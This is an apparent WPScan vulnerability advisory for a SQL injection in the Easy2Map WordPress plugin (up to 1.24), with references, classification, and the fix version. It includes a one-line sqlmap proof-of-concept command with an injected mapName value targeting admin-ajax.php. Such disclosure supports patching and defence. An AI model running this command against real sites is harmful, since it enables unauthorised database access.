Easy2Map <= 1.24 - SQL Injection

Sign up to our free email alerts service for instant vulnerability notifications!

Description
The Function.php file uses sprintf() to format queries being sent to the database, this doesn't provide proper sanitisation of user input or properly parameterises the query.
Proof of Concept
$ sqlmap -u 'http://www.example.com/wp-admin/admin-ajax.php' --data="mapID=11&mapName='+or+1%3D%3D1%3B&action=e2m_img_save_map_name" --cookie=COOKIE HERE --level=5 --risk=3

Affects

Plugin easy2map
fixed in version 1.2.5

References

CVE 2015-4614
CVE 2015-4616
PACKETSTORM 132551
URL http://www.vapid.dhs.org/advisory.php?v=131
URL https://plugins.trac.wordpress.org/changeset/1191455/easy2map

Classification

Type SQLI
OWASP Top 10 A1: Injection
CWE CWE-89

Miscellaneous

Submitter Larry W. Cashdollar
Submitter Website http://www.vapid.dhs.org
Submitter Twitter _larry0
Views 144
Verified No
WPVDB ID 8075

Timeline

Publicly Published 2015-06-08 (over 1 year ago)
Added 2015-07-05 (over 1 year ago)
Last Updated 2015-07-12 (over 1 year ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.